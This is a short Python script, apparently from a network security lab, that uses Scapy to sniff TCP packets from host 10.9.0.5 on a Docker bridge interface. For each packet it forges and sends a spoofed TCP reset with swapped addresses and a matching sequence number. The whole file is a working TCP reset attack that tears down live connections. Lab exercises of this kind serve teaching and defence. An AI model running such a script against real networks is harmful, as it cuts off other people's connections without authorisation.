#!/usr/bin/python3
from scapy.all import *

def spoof_tcp(pkt):
    IPLayer  = IP(dst=pkt[IP].src, src=pkt[IP].dst)
    TCPLayer = TCP(flags="R", seq=pkt[TCP].ack,
                  dport=pkt[TCP].sport, sport=pkt[TCP].dport)
    spoofpkt = IPLayer/TCPLayer
    send(spoofpkt, verbose=0)
    print(spoofpkt.show())

pkt=sniff(iface="br-cf4c048a4428", filter='tcp and src host 10.9.0.5', prn=spoof_tcp)